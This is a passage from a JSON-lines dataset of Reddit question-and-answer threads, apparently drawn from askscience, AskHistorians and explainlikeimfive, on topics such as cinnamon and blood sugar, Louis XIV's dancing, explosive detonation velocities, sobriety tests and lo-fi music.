thigh gaps I'm my day. Plenty of um. But then I realized that touching thighs are like a vagina extender. Never looked back.....", "Its not a gap all the way between the thighs, that is when you are very thin. Its a gap just at the very upper thighs under the groin. Curvy girls can have it too, its great", "\"gaps\" have been sexy for many years.  I remember talking about gaps when I was a kid, long before the Internet was a thing, back when porn came from magazines or 8mm movies.", "The same reason why boy bands were popular in the 90's, or why big butts are back in again. Society is into different things at different times, and a lot of it comes from influence of the media. That's as simple as a response I can give you. ", "Fun fact: you can appear to have a bigger gap by arching your back more. ", "Some people find it attractive, I personally don't. But hey, you all do you, man. That's pretty much it.", "I have a thigh gap and I'm an 18 year old male, can confirm it makes me sexier", "the gap is actually due to having naturally wide hips. of course being thin exacerbates it, but unless you diet unhealthily or have surgery, you can't work towards one.", "actually the reason why it is so popular because in modeling, agencies/photographers/basically anyone that is going to hire a girl as a model requires that if she can hold a quarter between her thighs she needs to lose weight. If there is a gap there, she can't hold a quarter(thin-ways if that makes sense, like the thinnest size held between her thighs) she is thin enough.\n\nI know this because I used to model.", "Most of the things people find attractive about the opposite sex is to do with makin' babies. Women want big strong men who can protect them and their family, and in turn have strong sons. Men want fertile women who can pump out lots of healthy babies. Big boobs look like you will be able to feed the babies well, wide hips (which can make a gap between the thighs) looks like they won't have any trouble in birth. \n\nThese are all the subconscious things that make us do what we do, of course we don't think 'that woman will be able to feed the hell out of my babies' when we see a big breasted woman, but that is what our 'cave man brain' is thinking. \n\nTLDR: Thigh gaps mean wide hips mean good at making babies according to our cave man brains. \n", "You can't be very fat and have a thigh gap.\n\nThat's all it means to me.  You are not fat.  I mean sure it's hot but I think lots of girls are hot; a thigh gap isn't really a prerequisite."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "7j5atn", "title": "2 How did the British, French, and US Marines compare cca. 1870?", "selftext": "In terms of training and equipment, particularly weapons. I'd guess that the British Royal Marines used the Snider\u2013Enfield, and perhaps the French the Chassepot, although I have my doubts. But what about the US? And were there any notable differences in their training and tactics noted in the history books?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7j5atn/2_how_did_the_british_french_and_us_marines/", "answers": {"a_id": ["dr3pnxl"], "score": [2], "text": ["Actually, as a follow up, how did US, French, and British soldiers compare in general? Was there any stereotype formed, like during the Napoleonic Wars?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "wvhqi", "title": "Does cinnamon actually help stabilize blood sugar?", "selftext": "I've read it in *The Four Hour Body*, I've heard it from friends who are trying to lose weight.  But does consuming cinnamon really stabilize one's blood sugar?  And if so, how/why?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/wvhqi/does_cinnamon_actually_help_stabilize_blood_sugar/", "answers": {"a_id": ["c5gtoxd", "c5gukkk", "c5gvnx2", "c5gxtug", "c5h0gmv"], "score": [8, 12, 3, 2, 2], "text": ["I found this study on PubMed:\n\n_URL_0_\n\n\"Use of cinnamon showed a beneficial affect on glycaemic control...\"", "to answer the how/why question, cinnamon partially deactivates the enzyme amylase (which breaks down sugars and carbohydrates into forms that can be absorbed), causing a slower absorption of sugars, thus stabilizing your blood sugar over time. the doses must be pretty large to have a noticeable effect though.", "Effects of cinnamon on blood glucose and lipids levels\nin diabetic patients (Type1)\n_URL_0_", "Do we know which molecules in cassia cinnamon would contribute to the absorption of serum glucose?  Is it the solid or the essential oils?", "A lot of the information in Ferriss' book is still too new to be totally understood or fully backed up by lots and lots of peer reviewd journal science. I think perhaps a more interesting question to ask yourself is, does cinnamon help stabilize YOUR blood sugar? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ncbi.nlm.nih.gov/m/pubmed/22579946/?i=2&amp;from=/22809636/related"], [], ["www.academicjournals.org/AJBR/PDF/Pdf2009/May/May%20Issue/Al%20Jamal.pdf"], [], []]}
{"q_id": "3t3ygd", "title": "Was Louis the 14th really a dancing fanatic ?", "selftext": "I was sitting in art class today and we were looking over the portrait of Louis the 14th. He was all dressed up but this weird thing is he had on what looked like red high heels, a classmate of mine said that Louis was a dancer. Is this true? Was Louis the 14th known to cut the rug and dance if he wanted to?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3t3ygd/was_louis_the_14th_really_a_dancing_fanatic/", "answers": {"a_id": ["cx35eqs"], "score": [15], "text": ["It is true yes. However, one of the difficulty with Louis the 14th is that his own self is often overshadowed by the person of the Sun King. He was extremely interested in all kind of arts, because of his personal tastes and interests but also because of what it could bring to the monarchy and to the Kingdom. \n\nNote that dance is one of the mandatory subject of education of the French princes and princesses. I can't tell you when it started but Francis I is said to have been an excellent dancer, Louis XVI was terrible at it despite trying. Plus, it was normal for the young princes to work on a passion ( Louis XIII painted when he was young, Louis XV was very fond of botanic ) and later on craftsmanship ( Louis XV spent a lot of time working ivory and Louis XVI was also a locksmith ). \n\nA lot of time and means were spent on the education of the princes and princesses, depending on their rank in the order of succession. The heir would of course be educated in much more matters than the third daughter. This caused troubles sometimes, for example when Louis XVI became the heir after several deaths in his family, he clearly lacked knowledge in many subjects ( economy, warfare ) despite being extremely intelligent and well-educated. \n\nLouis XIV's father died when he was very young ( not yet five years old ) thus he was educated \" as a king \" and not just as the heir. Despite the efforts of Mazarin and a lot of teachers, the young monarch was not very interested in studying. He had not interests, or barely, in history, mathematics or warfare ( for the moment ) but he showed a lot of admiration for all kinds of arts : architecture, painting, sculpture, music and dance. Mazarin decided to emphasis this fondness for arts by making Louis practice a lot of dancing. During his childhood he practiced around 2 hours a day, which is a lot considering all the other things he had to do. \n\nAs you may know, the childhood of Louis XIV was marked by the two revolts known as the Frondes. This was truly a traumatic moment in his life, certainly not without consequences on who he would later become. In 1651, the royal family was literally prisoner of the Parisian militias and in February, Parisians invaded the royal palace and entered in the king's apartment. I will write here what one of my teachers said : \"*imagine the Parisians invading the king's room. Imagine what a 1651 Parisian looked like and you can see how chocking it was* \". \n\nThe Fronde was a revolt, mostly due to the nobility of sword ( so the old military aristocracy if you want ) and a result of decades long conflicts between the nobility and the monarchy trying to reduce their power. Once it was over in 1652 and that \" things went back to normal \" Louis was much more involved in politics ( but far from ruling by himself ). In 1653, 15 years old Louis XIV participated in Lully's *Royal Ballet of the Night* where Louis had ( of course ! ) the role of : [the rising sun](_URL_0_). \n\nBallets and other spectacles given at court always had a deep political role, the most important one being in participating to the \" regulation \" and \" domination \" of the court and the nobility, always prone to some plotting or conspiracy against the monarchy ( and the the reign of Louis XIV's father and the following regency saw plenty of those ). From there, Louis invested himself into these spectacles where he put himself on show as the Sun ( for example ). This was a direct message sent to everyone, by being a Sun he was higher than all the others except God. Remember that this was a society of looks and appearances. Not quite like ours today but one where every symbol you carried on you had an importance. They did not wear clothes simply because they loved them but because it carried a message. So Louis could not go on walking in Versailles or his other places dressed in the costume of the Sun but when he appeared on stage then he could. Dancing was a way to send messages, even more directly than with propaganda ( which did not necessarily worked well on the great nobles anyway ). Also, since dancing was very important ( an estimation of 1,200 ballets were played at court during the reign of Louis XIV ) it \"united the nobility \" around common interests. This was the whole point of the Versailles etiquette : \" bring them together and close to you so you can keep a better eye on them \". Dance was part of it, like theater, like waking up and eating in public. \n\nSo yes, Louis XIV was very much into dancing, as well as other arts but he did practice very well dancing. However, it was not only out of pure love for it, he also saw a political aspect and used it very cleverly. During his life, he protected and paid a lot of artists ( musicians, writers, composers, architects, painters,..etc ), founded academies ( the Royal Academy of Dance in 1661 ) and most of the king's life is an entire show. \n\nIf you want, you can check the movie *The King is Dancing* ( le Roi Danse ). \n\nEdit Sources : *The 17th Century* by Fran\u00e7ois Lebrun\n\n*The Century of Louis XIV*, under the direction of Jean-Christian Petitfils"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://operabaroque.fr/Louis_Nuit_2.jpg"]]}
{"q_id": "c88g98", "title": "why can people who aren\u2019t able to see properly irl, see in vr?", "selftext": "I just saw a post about a 93 yo woman (who could barely see and only in her peripheral vision) using a VR headset and the post said that it turns out she could see properly in VR. So she experienced Google Earth and various places and she was mesmerised. It was also mentioned that she hasn\u2019t seen colours like that in years. There were also multiple comments about people who could see in VR but not IRL. What is the explanation for this?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c88g98/eli5_why_can_people_who_arent_able_to_see/", "answers": {"a_id": ["esksyp2", "esl524e", "eslu4sv"], "score": [27, 6, 3], "text": ["VR technology isn't some miracle that can let blind people see color.\n\nWhat is most likely is that the old woman has something that makes absorption of light via her lenses difficult. For example, cataracts, clouding of your eyes' lenses as you grow, can do this and lead to blurry or unfocused vision that might appear faded.\n\nVR, which is actually very close to your face, only simulates the appearance of distance and depth, much like a hyper-realistic painting. This is the best explanation I can come up with.", "There is a lot of things VR compensate for as a side effect of the technology.\n\nIf you need lots of light, it can be set plenty bright.\n\nIf you need saturated colors, it can be set plenty colorful.\n\nIf you can only see sharp at a specific distance (short or long), it can put the entire field of view at that distance. That is, if you don't artificially make depth of field blur, it does not have any blur.\n\n\nGlasses instead can't increase the amount of light, or make it more colorful, and they can move the focal distance closer or father apart, but they can't put everything in focus at once.\n\nThat's also why if you have vision problem and can't find your glasses, looking at your smartphone screen through the camera actually allow you to see clearly!", "Screens are very close to your face with VR obviously, and only simulate depth. People who are nearsighted can generally see in VR pretty clearly, even without glasses. In terms of her perception of color, it\u2019s possible the headset she used had OLED panels (like the Vive, Rift, or Quest). OLEDs have much better contrast than LCDs or LEDs which will make the colors \u2018pop\u2019 much more."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "5g7b8l", "title": "how does the facebook messenger virus where you just click on a link and instantly get the virus that sends the link to all your friends work?", "selftext": "My friend recently got this virus and I searched it up and it says all you have to do is click the link and you get the virus. It then uses the messenger app to send the link to all your friends and give them the virus.\n\nHowever, my limited understanding of viruses are that you have to at least download the virus, or give it permission to do stuff with your phone (he got it on an iphone 5s) in order for it to take any action. How does it do any of this purely by clicking on the link from the app?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5g7b8l/eli5how_does_the_facebook_messenger_virus_where/", "answers": {"a_id": ["daq3laq", "daq3qev"], "score": [5, 3], "text": ["It is most likely JavaScript, a method of giving instructions to your browser. JavaScript instructions are (potentially) similar to what you would give with a keyboard and mouse. It can click on items within the page, type stuff, etc.\n\nSo this \"virus\" likely has no effect outside your browser, can't spy on you (even within the browser) or redirect you to a third party page without you knowing you've been redirected. But it could just do some stuff within the open Facebook tab. ", "Not all malicious software is literally a \"virus\". A lot is script on a page in a browser, and it never actually downloads any files, but it can go and view things your browser normally views  &  interacts with"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5t8l3b", "title": "Is there a limit to the power of chemical explosives?", "selftext": "From my understanding of chemical explosives, it's the sudden release of energy from a high energy bond, down to a lower energy bond. Is there a theoretical limit, to the power of these explosives (say per 10g of explosive), due to the bonds physically having to much engery to stay stable.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5t8l3b/is_there_a_limit_to_the_power_of_chemical/", "answers": {"a_id": ["ddl2c7a", "ddl47ad"], "score": [5, 25], "text": ["Well, yeah we already have a lot of high Oxygen or Nitrogen compounds that are *incredibly* explosive, but just massively unstable. Frankly it's easy to find energetic, unstable molecules; the challenge is finding ones that are stable until you want that energy to be released. \n\nI don't know if there's a theoretical limit, but I'd guess there are different ones depending on how long you hope/expect your compound to remain that compound and not a rapidly dissociating cloud of gas. Practically speaking though, the challenge for explosives isn't maximizing bond energy, but maximizing utility. \n\nUtility always ALWAYS means that it doesn't blow up when someone sneezes, or the jet dropping it as a bomb takes off, etc. Ideally you want something like C4... huge energy, and you can run over it with a tank on fire and it won't detonate. ", "Yes there easily is, \n\nI study energetic materials, a fancy name for chemists that like to play with fire and explosives.\n\nChemical explosives works with the energy stored within the bonds of a compound itself. The power of explosives are measured in detonation of velocity (VoD), the detonation velocity of any organic (CHON) explosives usually range from anywhere from 4000 m/s to 10000m/s. There are rarely any organic explosive nor inorganic explosives that could go above this limit. The factors that decides this are : Density of the compound (usually between 1.5-2g/cm^3), amount of energy stored, amount of gas that could be released, oxygen balance, structure of the compound, and finally, the stability dedicates the practicality of explosives.\n\nThere are limits to this because of the limitations of chemical energy. A paper stated that detonation velocity of organic explosives could not exceed 11,000m/s. Which I agree with.\n\nLink: _URL_3_\n\nWe can look at some examples to gain a furthur insight of how chemical explosives work-\n\nTNT:\n\n_URL_1_\n\nTNT has negative OB (Oxygen balance), meaning that it has less oxygen than enough to satisfy all the carbon and hydrogen stored in the compound to explode. The benzene ring is also a stable structure. Therefore it is insensitive, and used widely in the military. It has a low density of 1.65, therefore the detonation velocity is a standard 6900m/s. \n\nLets look at a more powerful one\n\n_URL_0_\n\nHexanitrohexaazaisowurtzitane - Also known as CL20, which is where my user name came from :)\n\nAs you can see from the Wikipedia page, it has a caged structure, which provides an insane density of 2.04 (compared to 1.6 of TNT) and it is also OB-perfect, meaning that it has just enough oxygen to combust all the carbon and hydrogen in the compound without leaving any left, therefore producing more gas, energy in a more confined space than TNT, which is why it has a significantly higher detonation velocity of 9400 m/s.\n\nThe strongest organic explosive known is ONC, with 2.0 density as well as a detonation velocity of 10,100m/s.\n\n_URL_2_\n\nYou can ask me more by replying to this."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Hexanitrohexaazaisowurtzitane", "https://en.wikipedia.org/wiki/Trinitrotoluene", "https://en.wikipedia.org/wiki/Octanitrocubane", "http://link.springer.com/article/10.1007/s10573-007-0013-6"]]}
{"q_id": "4hiohy", "title": "Do bioluminescent creatures only produce light in the visible spectrum?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4hiohy/do_bioluminescent_creatures_only_produce_light_in/", "answers": {"a_id": ["d2q2sbg"], "score": [33], "text": ["So your question has a few parts to it. First, we must define what is \"bioluminescence\". Technically, any body of matter (living or dead) that has temperature, emits radiation in the infrared spectrum. Infrared radiation is not part of the visible spectrum, however would we consider this bioluminescence? Probably not. Similarly  [it has been shown that humans emit light in the visible spectrum](_URL_0_) however it is so low that it is impossible to detect with the naked eye. \n\nTo get at the crux of your question, lets also think about the visible spectrum. In the case of humans it ranges from about ~390-700 nm, however in many [deep sea creatures](_URL_2_) where the red wavelengths have been filtered out by the water above them, they are unable to see this wavelength. Most bioluminescent fish therefore produce blue and green wavelengths of that all fish around them can see. However, some sneaky sneaky fish actually produce [red wavelengths](_URL_1_) of light that *only they can see* enabling them to put a fish in their red light spotlight, and the fish has no idea it is being illuminated at all.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://journals.plos.org/plosone/article?id=10.1371/journal.pone.0006256#s1", "http://biolum.eemb.ucsb.edu/organism/dragon.html", "http://www.annualreviews.org/doi/pdf/10.1146/annurev-marine-120308-081028"]]}
{"q_id": "3a26jn", "title": "why would terrorist organizations confirm the deaths of their top officials?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3a26jn/eli5_why_would_terrorist_organizations_confirm/", "answers": {"a_id": ["cs8k6r9", "cs8kbbz", "cs8kttn", "cs8tlo4"], "score": [21, 2, 34, 2], "text": ["it gives them a sense of nationalism to rally people around their cause.\n\ni.e. \"Look, the U.S. killed Osama!! They're killing muslims! All people of the muslim faith, let's now hate the U.S. because they have harmed one of *us*!\"\n\nObviously an extreme example but I hope it drives the point home.", "The word's going to get out quickly anyways.  Might as well get some mileage out of an announcement with some inspirational messaging thrown in.", "Another, lesser, reason is so that the mid to low levels members no longer answer correspondence from that person.\n\nSo when the VP of Hijackings gets killed, the Director of Suicide Bombings doesn't reply to his email (sent by the CIA) asking about when the C4 supply closet is going to be refreshed.", "All these answers are right. To add, terrorist organizations have the same pressure to report the \"truth\" that other organizations do. They can't deny an obvious fact. You and I might think they lack credibility, but to their followers, they're not just a credible source, they're *the* authority. While they've certainly constructed their own worldview, they can only stretch reality so far before they start undermining themselves in the eyes of their followers and potential followers."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2gzrwa", "title": "Has their ever been a time in US history that \"arming the rebels\" worked out ok?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2gzrwa/has_their_ever_been_a_time_in_us_history_that/", "answers": {"a_id": ["cko5fzs", "cko5n6o", "cko66hh", "cko6lr4", "cko8i9d", "cko8l9s", "cko8me7", "cko96x0", "cko9911", "ckoa1vo"], "score": [180, 80, 14, 75, 14, 57, 8, 6, 11, 2], "text": ["Everyone, this question is clearly talking about times in which the U.S. has armed foreign rebels, which would not include the French assisting the Continental Army in the American Revolution. Please stop posting about that.", "Did the US ever arm Native Americans to eliminate another tribe?", "If I may ask the historians that specialize in the region, did we not do this extensively in Eastern Europe during the Cold War?\n\nFurther, in South America, has our track record been *all* bad?", "Several commentators discussing American aid to Syrian rebels have floated US aid to Croatia during its war of independence as a potential model.  The US/NATO provided military advisors, possibly intelligence and lifted major arms embargoes on Croatia and its allies, which were crucial in Croatia's Operation Storm, which decisively ended the war.  NATO also conducted simultaneous air strikes against Serb/Yugoslav positions.\n\nAnother campaign I've been reading about lately is the CIA's covert programs in Laos in the early to mid 1960s.  The CIA provided training, organizational direction, tactical advice, significant arms, funding and later massive air power to Meo (often called Hmong) rebels in order to disrupt North Vietnamese supply routes in Laos.  This effort (spanning most of the war) built a fairly effective proxy army led by a Meo commander named Vang Pao.  Later in the war (around 1968), however, the US switched from using those proxies as a ground force, and instead resorted to MASSIVE bombing campaigns which killed hundreds of thousands and ultimately failed catastrophically.  It drove much of the population into the arms of the Pathet Lao, who quite quickly took over Laos after the Vietnam War ended.  The Meo have been treated quite brutally ever since, suffering near-genocidal repression.  Many, including Vang Pao, received asylum in the US.\n\nThe first example was successful in its aims.  The second was not, though in my opinion, because it switched from supporting a decently effective guerrilla force to a massive air campaign.  Before that switch, the policy of using such proxies was fairly effective in its objectives.\n\n[Source on Laos is Robert Warner's *Shooting at the Moon*]", "The arming of italian rebels against Nazis and Fascist Social Republic during WWII is an example I believe. \nOther rebel formation were armed in all Europe, but since this is a strict sub I won't include them because I am not exactly sure who was armed and who wasn't. Were the Polish rebels armed by the americans? Don't know.\n\nEverything almost worked completely flawlessly except after the war it was realised that also communist formations were armed and those brigades did not give up their weapons. They were ready for the comunist revolution in Italy that luckily never came for various reasons.\n\nThis is a well known fact in Italy, but wiki for reference anyway _URL_0_", "This answer might not be what you're looking for, depending on your definition of \"arming\" and \"rebels\". But you might already be familiar with it. \n\nIn 1953, the CIA and the MI6 funded Royalist factions of the Iranian army, which led to the overthrow of the democratically elected leader Mossadegh by a military government that would transfer all power to the monarch, Shah Pahlavi. \n\nThis was followed by 29 years of friendly US-Iran relations, no Iranian oil for the USSR and oppressive dictatorship by a corrupt tyrant for the Iranian people. So all in all, great success.", "How do you define \"worked out ok\"? On a long enough timeline every military exercise can be considered a failure. \n\nShort term, the U.S. has been successful in achieving its goals by arming Rebels: Iran, DRC, Afghanistan and Cambodia are good examples. In some instances the stated goal of government change may not have taken place but the unrest aided by arming rebels helped the U.S. achieve other goals. ", "In California, John Sutter armed Native Americans to protect his land from other Native American horse raiders. They ended up being in the California Battalion that fought on the American side of the Mexican-American War.\n\nEdit: \nSource:\nHurtado, Albert L.\u00a0Indian Survival on the California Frontier. New Haven: Yale University Press, 1988.\n\nEdit2: I'm not exactly sure how you would define 'rebels' but I guess Native Americans, to them, were seen as rebels in a way. Also, I don't know whether one could say it 'worked out.' The rights included for Indians in the Treaty of Guadalupe Hidalgo were greatly ignored by Anglos and the federal government so it didn't really benefit Native Americans in the end as they were discriminated against and taken advantage of. Especially after passing the Act for the Government and Protection of Indians in 1850. It was California's version of the Black Codes. The United States did gain a California and other territories though. ", "Perhaps indirectly answering your question through reversal, the UN arms embargo on Yugoslavia is what directly enabled the genocide of the Bosnians, as Bosnia was surrounded by its enemies and couldn't geographically take advantage of the munitions black market like they could.\n\nAn example where explicitly NOT arming an upcoming state led to their detriment.", "Arming the Mujahideen was rather successful when looking at the goals of the USA at the time. In 1989 the Soviets withdrew from Afghanistan. The Soviet Union was by far the largest threat to the United States and it's interests since WWII so thwarting its designs in Central Asia should probably be considered a huge success from that vantage point. \n\nSome members of the Mujahideen then about 5 years after the withdrawal of the Soviet Union then later formed the Taliban with the help of the Pakistani ISI, but this is a fairly indirect consequence of the US intervention in my estimation.\n\nThis is a very large issue so I am not sure where to begin sourcing this. If you want more information on this event then let me know."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://en.wikipedia.org/wiki/Italian_resistance_movement"], [], [], [], [], []]}
{"q_id": "6qjxww", "title": "the end of evangelion", "selftext": "Mainly the differences and similarities of episodes 25/26 and DaR/EoE.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6qjxww/eli5_the_end_of_evangelion/", "answers": {"a_id": ["dkxzr44"], "score": [3], "text": ["Basically different points of view\n\nEps 25/26 show the end of the world from Shinji's point of view\n\nEoE show what happens to the outside world"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7501xl", "title": "why do police tell you to recite the alphabet backwards as a test for drunk driving?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7501xl/eli5_why_do_police_tell_you_to_recite_the/", "answers": {"a_id": ["do2f2ri", "do2f4eq", "do2fo3i", "do2ld2x"], "score": [2, 2, 26, 4], "text": ["Police know that most people don't have the reverse alphabet memorized.  They're looking to see how effectively you're thinking about it, if you're slurring or mispronouncing letters, and if you lose your balance while thinking.", "Try reciting the alphabets backwards by yourself. And unless you have practiced it many times before you will find it bit difficult to do it. But you can manage it with some time.\n\nWhen you are drunk one if the side effect is impaired memory and slow reaction time. Reciting the alphabets backwards when drunk is very difficult and even Impossible for some.\n\nThat is why this is used as a test by the police to see if you are drunk out of your senses. Even though it is not really a standard test.", " Cop here:\n\nWe don't.  At least, it's not part of the Standardized Field Sobriety Tests (SFSTs).\n\nIt's a common misconception like police reading you your rights when you're arrested.  It's something that happens on TV, so people assume that's just what happens, because most people never deal with law enforcement like that.\n\nThe SFSTs are the Horizontal Gaze Nystagmus (HGN) test, the One-Leg Stand, and the \"Walk-and-Turn\" test.\n\n(The ELI5 of the HGN is basically an eye test where we look for eye wobble that occurs when someone is intoxicated).\n\nWe can use other methods to determine intoxication like divided attention tests, having you say the alphabet from a certain letter to another letter (like D-R for example), or counting from one number to another.\n\nAn officer wouldn't necessarily be wrong to see if you could say the alphabet backwards, but he wouldn't base his opinion of your level of intoxication solely on it.\n\nIt would most likely only be done if it was obvious that you're plastered, and he just wanted one more thing on camera to prove it.", "Why don\u2019t American cops use breathalysers? They are standard kit in the uk and are used in the case of accidents, or anytime police suspect you may be intoxicated. We also now have field drugs tests. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2vki2n", "title": "Did JFK really smoke marijuana in the White House?", "selftext": "Just saw a reddit post claiming that JFK allegedly smoked in the white house. Just wondering if that's accurate or not", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2vki2n/did_jfk_really_smoke_marijuana_in_the_white_house/", "answers": {"a_id": ["coj7eli"], "score": [13], "text": ["_URL_0_\nIf you look at the drugs we know he was taking I don't see how a little marijuana could hurt things. Here is a generally accepted list of medications that there is a consensus on. \n\n\"The medical records reveal that Kennedy variously took codeine, Demerol and methadone for pain; Ritalin, a stimulant; meprobamate and librium for anxiety; barbiturates for sleep; thyroid hormone; and injections of a blood derivative, gamma globulin, a medicine that combats infections.\n\nDuring the Bay of Pigs fiasco in 1961, and the Cuban Missile Crisis in October 1962, Kennedy was taking steroids for his Addison's disease, painkillers for his back, anti-spasmodics for his colitis, antibiotics for urinary tract infections, antihistamines for his allergies, and on at least one occasion, an anti-psychotic drug to treat a severe mood change that Jackie Kennedy believed was brought on by the antihistamines.\"\n\nThis comment from the article speaks a little more directly to your point though:\n\"As amazing as the list of drugs Kennedy took is the fact that it was kept mostly secret. To this day, his closest aides don't know or won't admit the extent of his ailments.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://abcnews.go.com/GMA/story?id=125593"]]}
{"q_id": "of9mw", "title": "How Did We Have Sex Hundreds of Thousands of Years Ago?", "selftext": "I mean... how did we even know to have sex?\n\nWere we teaching good parenting skills and who to have sex with with some basic language or something?\n\nOr, were we just naturally infatuated with genitalia?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/of9mw/how_did_we_have_sex_hundreds_of_thousands_of/", "answers": {"a_id": ["c3gre29", "c3grgtj", "c3gsdhn"], "score": [7, 15, 3], "text": ["There weren't many walls 10,000 years BCE. When people slept at night, they slept near fires under blankets, often with many individuals under the same roof/shelter. Everyone knew what everyone was doing.\n\nMy understanding is that this was true for nearly everybody until the last ~150 years and is still true for tens, if not hundreds, of millions of people.\n\nAn anthropology professor I had 10 years ago said that in a hunter-gatherer culture she worked with, there was \"appropriate sex\" to have around a campfire and \"inappropriate sex\", which was only practiced in secluded locations, so there was modesty around it still.", "Another question: Was rape more common than consensual sex in prehistory?", "Ilove how so many people understand thqt animals figure sex out but think that humans were running around with no clue what to do with their erections. Especially considering that humans have always been able to watch animals and se waht they're doing."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "bxan8d", "title": "How did we adopt standard rendering settings such as 1080p resolution, 30-60 fps, 60-144 hz refresh rate, etc.?", "selftext": "I'm curious as to how we came up with these standard values that most screen manufacturers, game creators, video rendering programs have adopted, etc. have adopted.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/bxan8d/how_did_we_adopt_standard_rendering_settings_such/", "answers": {"a_id": ["eq5u3j0"], "score": [18], "text": ["The standard TV refresh rates - 50Hz in former \"PAL\" countries, 60Hz in former \"NTSC\" countries - came about largely because they matched the frequency of the alternating current used in the countries that developed them, although NTSC later screwed this up and has annoyed a generation of broadcast engineers by dropping it to 59.94Hz when they introduced colour."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "c7o77d", "title": "what does it mean when you lean on something and then you remove it, you can see indentations on your skin?", "selftext": "Like, when you lean on a counter then you are has an indentation for a few minutes.\n\nIs it because of water retention?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c7o77d/eli5_what_does_it_mean_when_you_lean_on_something/", "answers": {"a_id": ["esglej0", "esgpdby", "esgu3d5"], "score": [8, 3, 2], "text": ["Our body itself isn\u2019t exactly solid (save for a few parts), meaning that it can compress and decompress. \n\nThis property is what causes the indentations. It\u2019s similar to a seat cushion. Before you sit on it, it\u2019s one shape, normally more full looking, but after you sit on it   for a few minutes, once you get up the seat retains the shape of your butt. \n\nWater retention is unrelated and is when fluids (most specifically water) builds up in your body and can be treated by mainly eating less salt.", "Our flesh is squishy.  It has some elasticity and will eventually return to its original shape/position when displaced, but this doesn't happen instantly.  Think of gently bending a piece of soft plastic - it'll stay bent for a while, but slowly it'll return to more or less its original shape.  \n\nThe water retention you're thinking of is an abnormality called edema, which is a clinical condition potentially caused by increased water retention.  Because there's extra water, the flesh swells up, and indentations become more prominent (this is known as pitting edema, because pressure forms pits).", "Imagine a partially soaked sponge on a countertop and you've decided to poke it.  It indents a bit due to being compressed and maybe some water comes out.  When you remove your finger the sponge springs back to its original shape and absorbs the water that leaked out earlier.  Now imagine that the water is blood and the sponge is a collective of your individual cells.  Your skin is an organ and it's highly vascularized (full of blood), so when it's indented the blood leaves the area, but when the pressure is released all the blood rushes back in over the area that was compressed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "9a4k43", "title": "what exactly is lo-fi?", "selftext": "I like the music, but don\u2019t really understand the definition that it gives when you google it or whatever.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9a4k43/eli5_what_exactly_is_lofi/", "answers": {"a_id": ["e4sphrb", "e4spn2z", "e4suf3x"], "score": [30, 25, 14], "text": ["It stands for \"low fidelity\" where the audio quality is lower than normal and perhaps some audio effects from the production can be heard. It is in contrast to \"hi-fi\" or high fidelity where the audio quality is supposed to be pristine.", "Lo-fi means \"low fidelity\". The opposite of high fidelity. \n\nLow fidelity means there is some intentional noise, static, or otherwise imperfect sound recording. compare a dusty old record player with a crisp new CD. In music this can be desirable to make the music feel a little more relaxed, less perfect. ", "To expand on what other people have said a bit: lo-fi music has a DIY approach or aesthetic. It's a little confusing because it refers both to a genre and a sound.\n\nYou can trace it back to punk, where everyone was encouraged to have a go and make music. That meant recording things cheaply and simply. It could also mean doing promotion, distribution, etc. by themselves, or at least without using big companies. This was helped by tape recording, celebrated in Bow Wow Wow's song [C30 C60 C90 Go](_URL_4_) (all types of tape).\n\nLater in the 80s these values were adopted by bands in the new genre of indie. The name, after all, means independence from the major labels.\n\nRecording at home, or with very little studio and production time meant keeping the instruments and arrangements simple, using few effects, leaving rough edges on the music. It can be hard to play loud (especially if you're recording in your bedroom) without things getting even worse, with vocals particularly likely to get buried. If you're expecting people to listen to you on cassette, the sound quality's always going to be pretty poor anyway. This is the complete opposite to other trends in the 80s, where the studio was being used more and more. Listen to [Moments of Love](_URL_1_) by Art of Noise from 1984 for a contrast (I'm not sure it's possible to listen to this song all the way through).\n\nLo-fi music places a fairly low value on musicianship. Again, this links to the \"everyone can do it\" idea. For example 